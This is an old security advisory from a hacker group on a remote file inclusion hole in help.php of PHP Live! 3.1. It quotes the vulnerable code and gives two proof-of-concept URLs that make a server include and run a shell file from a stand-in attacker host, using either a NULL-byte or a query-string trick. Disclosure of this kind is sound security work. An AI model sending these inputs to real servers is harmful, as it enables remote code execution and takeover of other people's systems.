phplive31-rfi.txt

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[N]eo [S]ecurity [T]eam [NST] - Advisory #25 - 08/10/06  
--------------------------------------------------------  
Program: PHP Live!  
Homepage: http://www.phplivesupport.com/  
Vulnerable Versions: 3.1 and prior  
Risk: High!  
Impact: Critical Risk  
  
-==PHP Live! <= 3.1 help.php Remote File Inclusion vulnerability==-  
---------------------------------------------------------  
  
- Description  
---------------------------------------------------------  
PHP Live! enables live help and live customer support communication directly  
from your website. With PHP  
Live!, you can provide one-on-one chat assistance in real-time, answer  
visitor questions and add that extra human touch to  
your website.  
  
- Tested  
---------------------------------------------------------  
localhost & many sites  
  
- Explotation  
---------------------------------------------------------  
  
Vulnerable code:  
  
==[ help.php 30 ]=============================  
[...]  
<?php $css_path = ( !isset( $css_path ) ) ? $css_path = "./" : $css_path ;  
include_once( $css_path."css/default.php" ) ; ?>  
[...]  
==[ end help.php ]============================  
  
How we can see there's an arbitrary file inclusion, so we can just include a  
file from another server, executing the php code  
in the victim's server.  
  
Proof of Concept:  
http://victim.com/phplive/help.php?css_path=http://www.attacker.com/shell.foo%00  
  
We use a NULL byte at the final of the string because include_once() take a  
null byte like the end of a string. In this way,  
"css/default.php" doesn't appears at the end of the var.  
  
If you don't wanna use a NULL byte you can do something like:  
  
http://victim.com/phplive/help.php?css_path=http://www.attacker.com/shell.foo?foo=  
  
In this way $foo has css/default.php in the attacker script.  
  
  
Note: this vulnerability is present only if register_globals is turned on.  
  
There are a lot of Local and Remote File Inclusion vulnerabilities in this  
script... but there is no reason to publish it.  
  
- How to fix it? More information?  
--------------------------------------------------------  
Visit our forum to know how to fix it or to get more information.  
http://www.neosecurityteam.net/foro/  
  
- References  
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http://www.neosecurityteam.net/index.php?action=advisories&id=25  
  
- Credits  
--------------------------------------------------------  
Discovered by Paisterist -> paisterist.nst [at] gmail [dot] com  
  
[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/  
  
  
- Greets  
--------------------------------------------------------  
HaCkZaTaN  
K4P0  
Daemon21  
Link  
0m3gA_x  
LINUX  
m0rpheus  
nikyt0x  
  
Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!  
  
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/* EOF *  
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